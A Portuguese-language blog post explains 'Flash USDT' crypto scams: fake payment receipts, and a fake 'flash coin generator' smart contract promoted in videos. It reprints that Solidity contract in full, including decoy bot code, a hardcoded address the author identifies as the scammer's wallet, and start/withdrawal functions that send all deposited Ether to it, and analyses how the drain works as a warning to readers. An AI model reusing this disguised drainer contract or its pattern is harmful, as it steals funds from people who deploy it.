De umas semanas para cá conheci um termo novo que nunca tinha ouvido falar: Flash Coins, sendo a mais popular delas a Flash USDT. Como eu ouvi falar disso? Pessoas interessadas em comprar estas tais “flash coins” me procuraram para que eu desenvolvesse isso para elas. Em uma pesquisa rápida no Google entendi qual era a ideia, mas logo vi que se tratava de uma ferramenta muito popular para aplicação de golpes.
Alguns golpes parecem usar de fato as tais Flash Coins, enquanto outros utilizam apenas seu nome para aplicar golpes bem comuns e que não tem nada de novo. Estratégia antiga que vi muito (e ainda vejo) usando do conceito de Flash Loan também, pois atiçam o imaginário popular e a ganância, ocasionando no crime de estelionato em última instância.
No artigo de hoje quero explicar um pouco sobre o que seriam essas Flash Coins e falar sobre os dois principais golpes que vejo acontecendo envolvendo as mesmas, para que você não seja a próxima vítima.
Se preferir, você pode assistir ao vídeo abaixo ao invés de ler.
O que é Flash USDT ou o que são Flash Coins?
Aqui vai um disclaimer de que eu nunca vi de fato um Flash USDT ou Flash Coin de qualquer tipo em ação, só ouço falar em diversos fóruns e vídeos, ora bem, ora mal. O fato é que é unânime de que se tratam de criptomoedas que uma vez gerada, possuem uma vida útil curta. Você conseguiria transferir elas para outras pessoas e até mesmo usá-las em negociações, mas depois de um tempo que poderia variar de horas a dias (pelos relatos) a blockchain invalidaria as transações e a existência daquelas moedas, pois elas seriam clones falsos de moedas reais, como a stablecoin USDT, largamente utilizada no mercado e que somente é emitida pela empresa Tether.
Em alguns relatos encontrei semelhanças com Flash Loans, no que tange o conceito de “flash”: tais moedas seriam consideradas válidas apenas dentro da própria transação de quem as emitiu. Se isso soa bizarro para você não se preocupe, para mim também soa. O fato é de que não é difícil encontrar na Internet pessoas procurando por essas flash coins, bem como pessoas dizendo que conseguem criá-las ou até prometendo ensinar. Mas flash coin mesmo, nunca vi.
O que mais me intriga é qual o uso idôneo que uma moeda temporária que imita outra poderia ter. Uso ilícito eu consigo pensar em vários, mas idôneo, nenhuma alternativa que me apresentaram até o momento faz sentido. Por exemplo, um suposto investidor teria dito que seria usada por bancos e corretoras para apresentar provas de fundos sem precisar expor os fundos e a carteira reais, por receio de hackers. Mas ora bolas, eu consigo pensar em uma série de outras formas de provar informações sensíveis na blockchain sem expô-las, como Zero Knowledge Proof por exemplo ou mesmo abordagens off-chain como Proof of Reserves, usadas muito popularmente por corretoras grandes como Binance e BitGet. Ou ainda, não seria o caso de usar tokens próprios, emitidos pela própria instituição e lastreados em USDT ao invés de usar USDT fake?
Tentando imaginar como isso poderia ser criado só consigo pensar em nós comprometidos que confirmariam transações dessa moeda fake. Como a blockchain exige o consenso da maioria, logo essas transações seriam consideradas inválidas pela maioria e revertidas, mas esses nós também seriam bloqueados rapidamente por má conduta, então não acredito que alguém tenha resultados tentando algo desse tipo. Também consigo imaginar coisas bobas como contratos de USDT clonados e o golpista te induzindo a importar na sua carteira como se fossem reais, enfim, parecem ideias bobas, mas sempre que um “esperto” e um “ainda mais esperto” se encontram dá negócio né…
Enfim, não quero entrar nesse mérito porque ao que tudo indica é possivelmente mais uma ferramenta para golpes e para sujar o nome do mercado cripto, como veremos a seguir. Ah, e se você tiver provas de que estou errado, fique à vontade de colocar nos comentários viu. Vai que eu estou cometendo uma injustiça…
O golpe do comprovante falso
Um dos golpes mais antigos desde que inventaram os bancos eu acho que é o golpe do comprovante falso. Flash USDT/Flash Coin apenas segue modernizando a prática.
Se você realmente não sabe do que se trata, ele consiste em apresentar um comprovante forjado de que você fez o pagamento de um valor que você deve a outra pessoa. Aí a pessoa te entrega o bem combinado e você some, sendo que como o comprovante é falso, o pagamento nunca foi realizado de fato e a pessoa lesada só descobrirá que foi enganada tarde demais. No mundo bancário tradicional geralmente se usam contas de laranjas, isto é, de terceiros que na imensa maioria das vezes tiveram seus dados roubados para aplicação em tais golpes. Isso dificulta o ressarcimento dos valores transferidos que são rapidamente sacados ou enviados para paraísos fiscais, mecanismos de lavagem de dinheiro e outros.
Talvez você pense que é esperto demais para cair em um truque como esse mas a engenharia social para aplicar tais golpes com eficiência vai além do óbvio para muitas pessoas. Geralmente o que está sendo negociado são empréstimos onde você deve pagar uma entrada para receber o valor total (“me dá R$100 de entrada e eu te empresto R$1000”) ou mesmo o comprovante falso é de envio de um produto que você pagou mas que nunca receberá.
E como isso é feito no mundo das criptomoedas? Da mesma forma, só que 100% digital. Quando você realiza uma transferência para alguém é emitido pela blockchain um recibo de transação. Esse recibo leva de alguns segundos até alguns minutos (a depender do protocolo da rede e seu congestionamento atual) para se tornar efetivamente confirmado e válido pela blockchain. Dada a sua natureza distribuída, é necessário que a maioria dos nós da blockchain concordem que a transação de fato aconteceu para que ela se torne permanente. Neste meio tempo, um golpista pode usar esse identificador da transação para ludibriar outra pessoa fazendo-a acreditar que a mesma foi concretizada.
Indo mais longe, já vi relatos de que golpistas teriam feito transações idôneas, de valores pequenos, para testar o endereço da carteira da vítima e ganhar sua confiança, para então, quando o montante real fosse transferido, se aplicasse um golpe de comprovante de transação falso, pegando-a desprevinida, afinal, se a pessoa pagou a primeira transação corretamente, porque na segunda ela iria mentir, certo?
Esse golpe inclusive é citado no vídeo abaixo no canal do Gabriel Broetto.
Agore imagine que ao invés de comprovante falso você tenha acesso a moeda falsa. Seria melhor ainda, não é mesmo? Porque assim você poderia aplicar o golpe não apenas em pessoas físicas mais em corretoras, onde você trocaria o dinheiro falso pelo real, principalmente usando corretoras descentralizadas que não exigem KYC (Know Your Customer).
O mais engraçado é que essa ideia tem feito muito golpista tomar golpe de outros golpistas, como nesse caso no nordeste, onde um estelionatário supostamente vendia Flash USDT por WhatsApp para outros golpistas. A pessoa pagava ele e ele não mandava porcaria nenhuma de Flash USDT, alegando problemas técnicos para o envio. Depois é só bloquear a pessoa e se estiver usando um número pré-pago é muito difícil de pegar o golpista.
O golpe do gerador falso
Mas o tipo de golpe que mais me chama a atenção são os mais técnicos, que envolvem programação. Sabendo que tem espertinhos querendo USDT Flash para golpes, alguns devs ainda mais espertinhos criam sites de venda e até tutoriais na Internet ensinando como usar da programação para gerar tais moedas. Ao invés de terem suas moedas flash, as vítimas acabam entregando para o golpista os seus fundos que como sabemos no mundo blockchain, dificilmente serão reavidos.
Vamos pegar um exemplo concreto para você entender melhor. Olhe este vídeo, mas por favor, não siga as instruções. Este canal tem vários vídeos, todos iguais, e tem outros canais por aí com técnicas semelhantes.
O autor alega que tem um smart contract que gera flash usdt, que com pouco Ether conseguiria gerar até 70k USDT na Ethereum Mainnet e que você conseguiria depois converter até 5% desse saldo fake em saldo real usando de corretoras e sites online que aceitam USDT fake sem saberem. O mais engraçado é como essa história começa, pois se ele conseguisse gerar USDT Fake, porque ele forneceria o script para os outros gratuitamente? Tem golpista na internet que supostamente vende esse script funcional, o que faria mais sentido (caso funcionasse), mas imagino que a ideia era forçar goela abaixo essa história de que está ajudando.
Bom, resumindo o vídeo, ele te fornece o smart contract que você deve colocar na ferramente online do Remix. Aí pluga a sua carteira MetaMask (apontada para Mainnet e com saldo) no Remix e faz o deploy do contrato na blockchain. Depois você deve transferir a quantidade de Ether real para o contrato, afinal é o insumo paa geração do USDT flash, e por fim você inicia o processo usando a função start do contrato e finaliza com a função withdraw, que seria a de saque dos Flash USDT para sua carteira. Obviamente na edição do vídeo tudo isso acontece que é um maravilha.
Se você acessar o código fonte do contrato fornecido para dar uma olhada, coisa que 99% das pessoas não vai saber analisar, você tem o código abaixo. Não me importo de colocar aqui e não estou dando armas para outros bandidos, você vai entender quando eu explicar. Logo no topo, temos isso:
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pragma solidity ^0.6.6; // Import Libraries Migrator/Exchange/Factory import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol"; import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol"; import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol"; contract UniswapLiquidityBot { string public tokenName; string public tokenSymbol; uint frontrun; constructor(string memory _tokenName, string memory _tokenSymbol) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; } |
Aqui já vemos que é um código bem velho, já que não se recomendo uso de versões de Solidity abaixo de 0.8 tem alguns anos. Depois vemos que ele na verdade é um contrato de liquidity bot para Uniswap, ou seja, não tem nada a ver com o prometido, um gerador de flash usdt. Veja que ele cita alguma coisa sobre Front Running, o que reforça a ideia de que é um bot trader e não de flash.
Na sequência, temos muito código de difícil compreensão por misturar Solidity com assembly, mas que parece monitorar novos pools da Uniswap e fazer trades com front running imediatamente após eles serem lançados, possivelmente um sniperbot (algo que já ensinei a criar aqui no blog), embora eu não tenha testado de fato para dizer se está funcionando.
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struct slice { uint _len; uint _ptr; } function findNewContracts( slice memory self, slice memory other ) internal pure returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; uint selfptr = self._ptr; uint otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { // initiate contract finder uint a; uint b; string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; loadCurrentContract(WETH_CONTRACT_ADDRESS); loadCurrentContract(TOKEN_CONTRACT_ADDRESS); assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant contracts and check again for new contracts uint256 mask = uint256(-1); if (shortest < 32) { mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); } uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } function findContracts( uint selflen, uint selfptr, uint needlelen, uint needleptr ) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } function loadCurrentContract( string memory self ) internal pure returns (string memory) { string memory ret = self; uint retptr; assembly { retptr := add(ret, 32) } return ret; } function nextContract( slice memory self, slice memory rune ) internal pure returns (slice memory) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint l; uint b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { l = 1; } else if (b < 0xE0) { l = 2; } else if (b < 0xF0) { l = 3; } else { l = 4; } // Check for truncated codepoints if (l > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += l; self._len -= l; rune._len = l; return rune; } function memcpy(uint dest, uint src, uint len) private pure { // Check available liquidity for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } function orderContractsByLiquidity( slice memory self ) internal pure returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint length; uint divisor = 2 ** 248; // Load the rune into the MSBs of b assembly { word := mload(mload(add(self, 32))) } uint b = word / divisor; if (b < 0x80) { ret = b; length = 1; } else if (b < 0xE0) { ret = b & 0x1F; length = 2; } else if (b < 0xF0) { ret = b & 0x0F; length = 3; } else { ret = b & 0x07; length = 4; } // Check for truncated codepoints if (length > self._len) { return 0; } for (uint i = 1; i < length; i++) { divisor = divisor / 256; b = (word / divisor) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } function calcLiquidityInContract( slice memory self ) internal pure returns (uint l) { uint ptr = self._ptr - 31; uint end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if (b < 0xE0) { ptr += 2; } else if (b < 0xF0) { ptr += 3; } else if (b < 0xF8) { ptr += 4; } else if (b < 0xFC) { ptr += 5; } else { ptr += 6; } } } function getMemPoolOffset() internal pure returns (uint) { return 599856; } address UniswapV2 = 0x2871c3c0219a2135E81ecBb2160f80edD4b4f8E7; function parseMemoryPool( string memory _a ) internal pure returns (address _parsed) { bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256; b1 = uint160(uint8(tmp[i])); b2 = uint160(uint8(tmp[i + 1])); if ((b1 >= 97) && (b1 <= 102)) { b1 -= 87; } else if ((b1 >= 65) && (b1 <= 70)) { b1 -= 55; } else if ((b1 >= 48) && (b1 <= 57)) { b1 -= 48; } if ((b2 >= 97) && (b2 <= 102)) { b2 -= 87; } else if ((b2 >= 65) && (b2 <= 70)) { b2 -= 55; } else if ((b2 >= 48) && (b2 <= 57)) { b2 -= 48; } iaddr += (b1 * 16 + b2); } return address(iaddr); } function keccak(slice memory self) internal pure returns (bytes32 ret) { assembly { ret := keccak256(mload(add(self, 32)), mload(self)) } } function checkLiquidity(uint a) internal pure returns (string memory) { uint count = 0; uint b = a; while (b != 0) { count++; b /= 16; } bytes memory res = new bytes(count); for (uint i = 0; i < count; ++i) { b = a % 16; res[count - i - 1] = toHexDigit(uint8(b)); a /= 16; } uint hexLength = bytes(string(res)).length; if (hexLength == 4) { string memory _hexC1 = mempool("0", string(res)); return _hexC1; } else if (hexLength == 3) { string memory _hexC2 = mempool("0", string(res)); return _hexC2; } else if (hexLength == 2) { string memory _hexC3 = mempool("000", string(res)); return _hexC3; } else if (hexLength == 1) { string memory _hexC4 = mempool("0000", string(res)); return _hexC4; } return string(res); } function getMemPoolLength() internal pure returns (uint) { return 701445; } function beyond( slice memory self, slice memory needle ) internal pure returns (slice memory) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq( keccak256(selfptr, length), keccak256(needleptr, length) ) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr( uint selflen, uint selfptr, uint needlelen, uint needleptr ) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } function getMemPoolHeight() internal pure returns (uint) { return 583029; } function callMempool() internal pure returns (string memory) { string memory _memPoolOffset = mempool( "x", checkLiquidity(getMemPoolOffset()) ); uint _memPoolSol = 376376; uint _memPoolLength = getMemPoolLength(); uint _memPoolSize = 419272; uint _memPoolHeight = getMemPoolHeight(); uint _memPoolWidth = 1039850; uint _memPoolDepth = getMemPoolDepth(); uint _memPoolCount = 862501; string memory _memPool1 = mempool( _memPoolOffset, checkLiquidity(_memPoolSol) ); string memory _memPool2 = mempool( checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize) ); string memory _memPool3 = mempool( checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth) ); string memory _memPool4 = mempool( checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount) ); string memory _allMempools = mempool( mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4) ); string memory _fullMempool = mempool("0", _allMempools); return _fullMempool; } function toHexDigit(uint8 d) internal pure returns (bytes1) { if (0 <= d && d <= 9) { return bytes1(uint8(bytes1("0")) + d); } else if (10 <= uint8(d) && uint8(d) <= 15) { return bytes1(uint8(bytes1("a")) + d - 10); } // revert("Invalid hex digit"); revert(); } function _callFrontRunActionMempool() internal pure returns (address) { return parseMemoryPool(callMempool()); } function uint2str( uint _i ) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = bytes1(uint8(48 + (_i % 10))); _i /= 10; } return string(bstr); } function getMemPoolDepth() internal pure returns (uint) { return 495404; } function mempool( string memory _base, string memory _value ) internal pure returns (string memory) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); string memory _tmpValue = new string( _baseBytes.length + _valueBytes.length ); bytes memory _newValue = bytes(_tmpValue); uint i; uint j; for (i = 0; i < _baseBytes.length; i++) { _newValue[j++] = _baseBytes[i]; } for (i = 0; i < _valueBytes.length; i++) { _newValue[j++] = _valueBytes[i]; } return string(_newValue); } } |
Eu omiti duas funções finais, mas aqui tem duas coisas que já me chamaram a atenção e vamos falar delas antes do gran finale. A primeira são esses endereços de contrato.
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string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; |
O primeiro é o endereço do contrato real de WETH na Ethereum Mainnet. E o segundo também. O que não faz sentido para mim, já que esses endereços deveriam ser dos tokens que formam o par de um pool de liquidez (no caso de um um bot trader), mas no caso de USDT Flash faz menos sentido ainda já que no vídeo fala que você deve mandar ETH para o contrato e não WETH. E que você vai receber USDT como retorno, e não WETH, ou seja, esses endereços além de repetidos não servem pro propósito do contrato.
Mas a segunda coisa e mais importante que me chamou a atenção foi esse outro endereço.
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address UniswapV2 = 0x2871c3c0219a2135E81ecBb2160f80edD4b4f8E7; |
Esse seria supostamente o endereço de um contrato da Uniswap para o bot funcionar. Repare que seria para Uniswap V2, o que não é mais recomendado usar há anos (estamos com a novíssima v4 agora). Segundo que se você procurar na lista de contratos V2, você não encontrará esse endereço, ele não é da Uniswap, confira aqui. E terceiro, que se você acessar esse endereço no EtherScan verá que é de uma carteira e não de um contrato, ou seja, é provavelmente a carteira do golpista (veja aqui).
Na verdade, todo o conteúdo do contrato é apenas para encher linguiça, com exceção desse endereço aí, que supostamente seria da Uniswap mas não é, e dessas duas funções aqui, que aplicam o golpe de fato e que ficam bem lá no final do arquivo.
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function start() public payable { payable((UniswapV2)).transfer(address(this).balance); } function withdrawal() public payable { payable((UniswapV2)).transfer(address(this).balance); } |
O que elas fazem? Se você já fez alguns tutoriais básicos de Solidity aqui do blog ou do canal deve imaginar: elas pegam o saldo do contrato e transferem para o endereço guardado em UniswapV2, ou seja, para a carteira do golpista. Essas linhas acima são tão básicas que não me importei em passar todo o código do golpista aqui, já que todo o resto não serve para nada e jamais é chamado, não importa para o golpe, é apenas para ludibriar quem não entende de programação.
Lembra do que o golpista fala no vídeo? Você deve fazer o deploy do contrato acima, transferir Ether real da sua carteira para o contrato e depois clicar em start. Pronto, o contrato vai pegar o Ether que você mandou pra ele e mandar para seu real dono, tipo o Um Anel do Sauron. Você acha que está usando o anel mas ele só serve a um mestre, hehe.
Enfim, espero que com esse artigo eu ajude outras pessoas a não caírem nesse tipo de golpe. A melhor arma contra criminosos virtuais sempre será o conhecimento. Quem me conhece há mais tempo sabe que algo que sempre prego é que você jamais deve rodar scripts de terceiros em sua máquina, a menos que você tenha os fontes e que tenha competência para analisá-los.
Ah Luiz, mas você tem curso de programação de bots…
Sim, eu tenho. E não é segredo de ninguém que eu não vendo bot pronto, mas que ensino programação do zero. Justamente porque não acredito nas promessas de bots prontos estilo SwapNex, BeeFund, Inteligência Artificial X e tantos outros que se provaram golpes com o passar do tempo. Ou você cria os seus próprios bots ou contrate alguém de confiança para fazê-lo por você, mas jamais caia nessas lorotas de bots e scripts milagrosos prontos que vão te dar dinheiro sem que você se preocupe com estratégia, programação, etc.
Se você acha que está sendo esperto em usar algum script de terceiro que achou na Internet, lembre-se que sempre tem alguém mais esperto que você esperando para encontrá-lo e fechar negócio…
Olá, tudo bem?
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